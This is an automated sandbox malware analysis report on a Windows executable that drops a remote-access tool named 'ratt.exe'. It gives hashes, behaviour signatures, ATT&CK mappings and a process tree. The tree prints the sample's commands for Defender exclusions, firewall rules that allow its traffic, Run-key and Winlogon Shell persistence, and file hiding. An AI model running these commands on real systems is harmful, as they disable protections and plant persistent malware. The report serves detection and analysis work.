58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c

Analysis

max time kernel
98s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
02/08/2023, 02:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe
Size

1.4MB
MD5

876d144c062032d2b74d9664c36dbf39
SHA1

6541f64de2ab7b19186baed855cfabcbd4d17a1f
SHA256

58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c
SHA512

83ac36adf0541566733fb8fc7ea381e0241d396d545ebeef353f68145b2e45d13afacc9dd5e9222ae982efb5d1ab2f55b71938686a571012d7a67677bf800305
SSDEEP

24576:U2G/nvxW3Ww0tRp8GiXTBhq7yRDvHcUcjUvy0lr3Tl6icOB/UWoT:UbA30H4zF0UMSAicOB/UWk

Score

8^/10

evasion persistence upx

Malware Config

Signatures

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
3100	netsh.exe
1740	netsh.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000023088-236.dat	acprotect
behavioral1/files/0x0008000000023088-235.dat	acprotect

Executes dropped EXE 3 IoCs

pid	Process
1788	7z.exe
752	ratt.exe
3796	ratt.exe

Loads dropped DLL 1 IoCs

pid	Process
1788	7z.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000230b2-232.dat	upx
behavioral1/memory/1788-233-0x0000000000400000-0x0000000000432000-memory.dmp	upx
behavioral1/files/0x00070000000230b2-234.dat	upx
behavioral1/files/0x0008000000023088-236.dat	upx
behavioral1/memory/1788-237-0x0000000010000000-0x00000000100E2000-memory.dmp	upx
behavioral1/files/0x0008000000023088-235.dat	upx
behavioral1/memory/1788-241-0x0000000000400000-0x0000000000432000-memory.dmp	upx

Unexpected DNS network traffic destination 3 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	208.67.222.222
Destination IP	208.67.222.222
Destination IP	208.67.222.222

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ratt = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ratt.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Runs ping.exe 1 TTPs 5 IoCs

Remote System Discovery

T1018

pid	Process
3380	PING.EXE
2200	PING.EXE
4764	PING.EXE
816	PING.EXE
636	PING.EXE

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3712	powershell.exe
3712	powershell.exe
4376	powershell.exe
4376	powershell.exe
3356	powershell.exe
3356	powershell.exe
1800	powershell.exe
1800	powershell.exe
2880	powershell.exe
2880	powershell.exe
3108	powershell.exe
3108	powershell.exe
752	ratt.exe
752	ratt.exe
3796	ratt.exe
3796	ratt.exe
752	ratt.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5000	WMIC.exe
Token: SeSecurityPrivilege	5000	WMIC.exe
Token: SeTakeOwnershipPrivilege	5000	WMIC.exe
Token: SeLoadDriverPrivilege	5000	WMIC.exe
Token: SeSystemProfilePrivilege	5000	WMIC.exe
Token: SeSystemtimePrivilege	5000	WMIC.exe
Token: SeProfSingleProcessPrivilege	5000	WMIC.exe
Token: SeIncBasePriorityPrivilege	5000	WMIC.exe
Token: SeCreatePagefilePrivilege	5000	WMIC.exe
Token: SeBackupPrivilege	5000	WMIC.exe
Token: SeRestorePrivilege	5000	WMIC.exe
Token: SeShutdownPrivilege	5000	WMIC.exe
Token: SeDebugPrivilege	5000	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5000	WMIC.exe
Token: SeRemoteShutdownPrivilege	5000	WMIC.exe
Token: SeUndockPrivilege	5000	WMIC.exe
Token: SeManageVolumePrivilege	5000	WMIC.exe
Token: 33	5000	WMIC.exe
Token: 34	5000	WMIC.exe
Token: 35	5000	WMIC.exe
Token: 36	5000	WMIC.exe
Token: SeDebugPrivilege	3712	powershell.exe
Token: SeDebugPrivilege	4376	powershell.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeIncreaseQuotaPrivilege	1520	WMIC.exe
Token: SeSecurityPrivilege	1520	WMIC.exe
Token: SeTakeOwnershipPrivilege	1520	WMIC.exe
Token: SeLoadDriverPrivilege	1520	WMIC.exe
Token: SeSystemProfilePrivilege	1520	WMIC.exe
Token: SeSystemtimePrivilege	1520	WMIC.exe
Token: SeProfSingleProcessPrivilege	1520	WMIC.exe
Token: SeIncBasePriorityPrivilege	1520	WMIC.exe
Token: SeCreatePagefilePrivilege	1520	WMIC.exe
Token: SeBackupPrivilege	1520	WMIC.exe
Token: SeRestorePrivilege	1520	WMIC.exe
Token: SeShutdownPrivilege	1520	WMIC.exe
Token: SeDebugPrivilege	1520	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1520	WMIC.exe
Token: SeRemoteShutdownPrivilege	1520	WMIC.exe
Token: SeUndockPrivilege	1520	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4884 wrote to memory of 1632	4884	58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe	86
PID 4884 wrote to memory of 1632	4884	58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe	86
PID 4884 wrote to memory of 1632	4884	58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe	86
PID 1632 wrote to memory of 3276	1632	cmd.exe	89
PID 1632 wrote to memory of 3276	1632	cmd.exe	89
PID 1632 wrote to memory of 3276	1632	cmd.exe	89
PID 3276 wrote to memory of 3460	3276	cmd.exe	90
PID 3276 wrote to memory of 3460	3276	cmd.exe	90
PID 3276 wrote to memory of 3460	3276	cmd.exe	90
PID 1632 wrote to memory of 2376	1632	cmd.exe	91
PID 1632 wrote to memory of 2376	1632	cmd.exe	91
PID 1632 wrote to memory of 2376	1632	cmd.exe	91
PID 2376 wrote to memory of 5000	2376	cmd.exe	92
PID 2376 wrote to memory of 5000	2376	cmd.exe	92
PID 2376 wrote to memory of 5000	2376	cmd.exe	92
PID 1632 wrote to memory of 3712	1632	cmd.exe	94
PID 1632 wrote to memory of 3712	1632	cmd.exe	94
PID 1632 wrote to memory of 3712	1632	cmd.exe	94
PID 1632 wrote to memory of 4376	1632	cmd.exe	98
PID 1632 wrote to memory of 4376	1632	cmd.exe	98
PID 1632 wrote to memory of 4376	1632	cmd.exe	98
PID 1632 wrote to memory of 3356	1632	cmd.exe	100
PID 1632 wrote to memory of 3356	1632	cmd.exe	100
PID 1632 wrote to memory of 3356	1632	cmd.exe	100
PID 1632 wrote to memory of 1800	1632	cmd.exe	101
PID 1632 wrote to memory of 1800	1632	cmd.exe	101
PID 1632 wrote to memory of 1800	1632	cmd.exe	101
PID 1632 wrote to memory of 2880	1632	cmd.exe	104
PID 1632 wrote to memory of 2880	1632	cmd.exe	104
PID 1632 wrote to memory of 2880	1632	cmd.exe	104
PID 1632 wrote to memory of 1788	1632	cmd.exe	105
PID 1632 wrote to memory of 1788	1632	cmd.exe	105
PID 1632 wrote to memory of 1788	1632	cmd.exe	105
PID 1632 wrote to memory of 3108	1632	cmd.exe	107
PID 1632 wrote to memory of 3108	1632	cmd.exe	107
PID 1632 wrote to memory of 3108	1632	cmd.exe	107
PID 3108 wrote to memory of 3100	3108	powershell.exe	109
PID 3108 wrote to memory of 3100	3108	powershell.exe	109
PID 3108 wrote to memory of 3100	3108	powershell.exe	109
PID 3108 wrote to memory of 1740	3108	powershell.exe	110
PID 3108 wrote to memory of 1740	3108	powershell.exe	110
PID 3108 wrote to memory of 1740	3108	powershell.exe	110
PID 3108 wrote to memory of 3712	3108	powershell.exe	111
PID 3108 wrote to memory of 3712	3108	powershell.exe	111
PID 3108 wrote to memory of 3712	3108	powershell.exe	111
PID 3712 wrote to memory of 1520	3712	cmd.exe	112
PID 3712 wrote to memory of 1520	3712	cmd.exe	112
PID 3712 wrote to memory of 1520	3712	cmd.exe	112
PID 3108 wrote to memory of 60	3108	powershell.exe	113
PID 3108 wrote to memory of 60	3108	powershell.exe	113
PID 3108 wrote to memory of 60	3108	powershell.exe	113
PID 60 wrote to memory of 1292	60	cmd.exe	114
PID 60 wrote to memory of 1292	60	cmd.exe	114
PID 60 wrote to memory of 1292	60	cmd.exe	114
PID 3108 wrote to memory of 752	3108	powershell.exe	115
PID 3108 wrote to memory of 752	3108	powershell.exe	115
PID 3108 wrote to memory of 752	3108	powershell.exe	115
PID 3108 wrote to memory of 2848	3108	powershell.exe	118
PID 3108 wrote to memory of 2848	3108	powershell.exe	118
PID 3108 wrote to memory of 2848	3108	powershell.exe	118
PID 1632 wrote to memory of 1716	1632	cmd.exe	119
PID 1632 wrote to memory of 1716	1632	cmd.exe	119
PID 1632 wrote to memory of 1716	1632	cmd.exe	119
PID 1632 wrote to memory of 3796	1632	cmd.exe	120

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2848	attrib.exe

C:\Users\Admin\AppData\Local\Temp\58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe
"C:\Users\Admin\AppData\Local\Temp\58baaa3e8b61a0f0407048fd017a5cbda73412f85d8bcfe1b75c7400bcbfb46c.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4884
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ratt.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c nslookup myip.opendns.com. resolver1.opendns.com
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Windows\SysWOW64\nslookup.exe
      nslookup myip.opendns.com. resolver1.opendns.com
      4⤵
      PID:3460
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic ComputerSystem get Domain
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2376
  - - C:\Windows\SysWOW64\Wbem\WMIC.exe
      wmic ComputerSystem get Domain
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5000
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3712
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4376
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3356
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionPath "$Env:SystemDrive\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1800
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    Powershell -Command 'Add-MpPreference -ExclusionProcess "C:\Users\Admin\AppData\Local\Temp\ratt.exe"'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2880
- - C:\Users\Admin\AppData\Local\Temp\7z.exe
    7z.exe x -o"C:\Users\Admin\AppData\Local\Temp" -y ratt.7z
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1788
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=in action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:3100
  - - C:\Windows\SysWOW64\netsh.exe
      "C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=SecuritySystem dir=out action=allow "program=C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:1740
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3712
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic computersystem where name="LMMMEQUO" set AutomaticManagedPagefile=False
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:60
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
        5⤵
        
        PID:1292
  - - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe
      "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:752
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 10 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:1440
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        6⤵
        Runs ping.exe
        
        PID:4764
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        6⤵
        
        PID:2552
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 17 > nul && copy "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 17 > nul && "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:536
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 17
        6⤵
        Runs ping.exe
        
        PID:816
  - - C:\Windows\SysWOW64\attrib.exe
      "C:\Windows\system32\attrib.exe" +h "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe"
      4⤵
      Views/modifies file attributes
      PID:2848
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ratt" /t REG_SZ /d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ratt.exe" /F
    3⤵
    - Adds Run key to start application
    PID:1716
- - C:\Users\Admin\AppData\Local\Temp\ratt.exe
    "ratt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3796
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 8 > nul && REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
      4⤵
      PID:4564
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 8
        5⤵
        Runs ping.exe
        
        PID:636
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\Music\rot.exe,"
        5⤵
        
        PID:3136
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd" /c ping 127.0.0.1 -n 8 > nul && copy "C:\Users\Admin\AppData\Local\Temp\ratt.exe" "C:\Users\Admin\Music\rot.exe" && ping 127.0.0.1 -n 8 > nul && "C:\Users\Admin\Music\rot.exe"
      4⤵
      PID:4804
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 8
        5⤵
        Runs ping.exe
        
        PID:3380
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 8
        5⤵
        Runs ping.exe
        
        PID:2200
    - - C:\Users\Admin\Music\rot.exe
        
        "C:\Users\Admin\Music\rot.exe"
        5⤵
        
        PID:4928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
256.6MB

MD5
e55519ab42372c0b2a1e8f272cf66791

SHA1
c4da82f84756a962cfe226e03537ce279f477928

SHA256
fa33a061bb76e114643e5ebcfffe545c209cb9d62f57490b10da33c41cfa3ace

SHA512
78e9365a4fb687b4211e8b893877c45cdc2d7387a759394813cd36f753a8c2a5f95427a335019a50a0b7e945aa1f6dae456491a172f5981d0ac5397a164630d8

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ratt.exe

Filesize
154.7MB

MD5
a5c3bdc909bc91f26477ca90893898be

SHA1
696727750223aaf8a69d6a89d945bf733c97aaf6

SHA256
c0b4bbfbd31273ff17a893f06920a7bb7b43e7e0c04c4e6f5963ba6f272bbc47

SHA512
b47aade0001f02d91fb29c4db0e115f264f58a2f72926c64f47f6ba8d2d9b46b55f8d9824dd6327e0c057e7b1af8b2218697f96ba5a19f9bb2895eded7b62ef8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
33b19d75aa77114216dbc23f43b195e3

SHA1
36a6c3975e619e0c5232aa4f5b7dc1fec9525535

SHA256
b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

SHA512
676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ratt.exe.log

Filesize
1KB

MD5
9a2d0ce437d2445330f2646472703087

SHA1
33c83e484a15f35c2caa3af62d5da6b7713a20ae

SHA256
30ea2f716e85f8d14a201e3fb0897d745a01b113342dfb7a9b7ac133c4ef150c

SHA512
a61d18d90bfad9ea8afdfa37537cfea3d5a3d0c161e323fa65840c283bdc87c3de85daaff5519beea2f2719eec1c68398eea8679b55ff733a61052f073162d5d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
b0c1ab28c793eb8bfdcfcbc740d341ed

SHA1
c18609e73df7c67e8eabb572c8b5d80b071a937a

SHA256
faf16a6d4d622c0e4c9428f0ddd50957e3d9b5e0dd2630057d898340eba51250

SHA512
3a8d75e184dabb3c2b3754c3da65955b58c5c11917a56afbe92daf98e0581fc3a4e3c98f1767de6f1938f3f068e80e9c2a2a9290f1ca6609c010f5af8ea7c392

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
1c36644d4a8a93a7aec2404f8e6e8d57

SHA1
dd75113875d6b61b88db092402ceddb4f36af3ec

SHA256
cf27d5a28eaaf8642e9e2825e20c9b415308eaaa6b1be84daacb2b4d339c9c47

SHA512
ae42b138128c97bfa2350dda4ba907448a467630d792cd92261ad1bf7ff8200f8170d3281f4149d7ebc5f516462029cac53f3ec50494712be4b08e4758e93bca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
0668c13e84033bfc89636eae9d4dd82e

SHA1
dcd3b0094815ca8fd61f93fa64e2b0a152926199

SHA256
e9d79eb8f692293ae4fdd730dc5357edf7956e2eeff56b5368c1219854409753

SHA512
ae3fbed5b96c510f3ae2236f545456ca44f074365c8fe842238d8fe0a2d6ceaef8115b8495646b166e6bca30ebc2bd3993b0228502c86b5037043436a972af62

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
3f8c878032298b359f6229385f2e45cf

SHA1
d4f701217e19d90d7012762bb349ab4a2a8c83d2

SHA256
da38d097ec9d0648adc2afeb4d33368a34d463dd49e09212bfa449c1cf69f731

SHA512
4f19a5497b26ee238e3e7e9c21dd973676721f00c0267c3104f2c25d3cc75acb3ebe85d8874e299e114a57e986a003f105fedd97eea73a33dc41861148a966d5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
11KB

MD5
50b73daa56aa3db1322939a33e19678f

SHA1
ecf6d8dc10ff05d83f4ea0585671bdfcff9523ec

SHA256
de2a7bd140d8ac193437f364dd4ffa176ad0f5fa44b0a399d9e0d77f3d846512

SHA512
8e754eac599023912c826b6ad447d4f91e38c8c665d816a3172807cef565694bcb187f8004f5b2f9854d3ba512d147381c81501020ca302c27c4c99ecae54b9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.dll

Filesize
328KB

MD5
15bbbe562f9be3e5dcbb834e635cc231

SHA1
7c01cf5fa4db2312c5ed2f7b8c41e3e5c346a51a

SHA256
ed50ef8e0b6dd83fb0c3f733329d4aa6e5a3beb3491e2ba9d2ae206813508dde

SHA512
769287951b8c16f4b10c1b58e82612844babe7b5c10445fe848d713fb5e8321bcbbd9780e9c564cffe35ea4144e8a7e19645291c4eea372fcaa19ae395a97287

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Add.ps1

Filesize
1KB

MD5
0df43097e0f0acd04d9e17fb43d618b9

SHA1
69b3ade12cb228393a93624e65f41604a17c83b6

SHA256
c8e4a63337a25f55f75ad10ab2b420d716bad4b35a2044fd39dcd5936419d873

SHA512
01ae71dd2ee040baad6f4b9afcfbaeca2b9f6cc7d60ade5de637238d65c17d74292734666f4ae6b533f6bf1007c46387d8e690d97c3b7a535bcd6f216e70c4fb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mhxev0g3.lvy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.7z

Filesize
693KB

MD5
7de6fdf3629c73bf0c29a96fa23ae055

SHA1
dcb37f6d43977601c6460b17387a89b9e4c0609a

SHA256
069979bfb2aefe3cac239fe4f2477672eb75b90c9853fb67b2ac1438f2ec44ff

SHA512
d1ef2299aacf429572fd6df185009960e601e49126f080fdced26ec407e5db86eaa902e474635464aac146b7de286667a398f2c5e46c4a821dad2579bfb3acf8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.bat

Filesize
1KB

MD5
7ea1fec84d76294d9256ae3dca7676b2

SHA1
1e335451d1cbb6951bc77bf75430f4d983491342

SHA256
9a419095c0bafc6b550f3f760c7b4f91ef3a956cfa6403d3750164ecdbe35940

SHA512
ab712c45081b3d1c7edd03e67a8db1518a546f3fbf00e99838dfe03a689c4867a6953e6603dcd2be458b2441f4a2b70286fd7d096549cfcf032dd2cd54d68317

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
687.8MB

MD5
dc9f88c84618f663260a4ae5f83359a6

SHA1
8252ab0864629be691093b0a5b739ccd7db360c7

SHA256
d675dbc020ff2210c53822c1db6128b7b02fe9c3faed9abd93f84b1aae79b651

SHA512
41120f3692448c0bccd32ee6038c3446fe37891c251db497f293c425fd4ee71cf13d9834f5c80c2bacfa1f59c0dbb8d8882dccf97a243e3e6e5a6155e6d5f664

Download Submit
C:\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
126.5MB

MD5
60bf086017f10a34b71980f945dbcd6a

SHA1
943116cea604f604bfb8f67c84e2dc1562111940

SHA256
0c1daaab6a971c6f67acffe98ccea229b676b43a66235a4158ee8711feed73df

SHA512
89d8baecaea90091e3a0c34d84e93c67904679a71a04152e1f266f991819bbe499cadc67bfad780e9d7b7a7517b36c7950a4c97a7e22c87c306f2011b54c0636

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
69.7MB

MD5
ede51a6aa0a9328444f5a6353b5a4b79

SHA1
12f4a0edf54eb240ca1d35debe2946044cb7ba4a

SHA256
17c76ae5824c3fe64953c176af7fc9d7df2d9178fb0695502350da8712957e8f

SHA512
3621a11ffddd3d1506127d4870a1ff6ebefaeae987cc97679bbf0ac438af3e35a249b0e6b1204531a914851ac5eafee381681de1907c917d6eee4f55e52672fa

Download Submit
C:\Users\Admin\Music\rot.exe

Filesize
22.5MB

MD5
f5bc2aa00cc6e38a54d38ea18f54bd7c

SHA1
7944ce33d3c41d49ab8978525adddf68c75d7f02

SHA256
bf94542841750edc6762ff50a78964474cec1ec8b0e00673a13f25f8712b93e9

SHA512
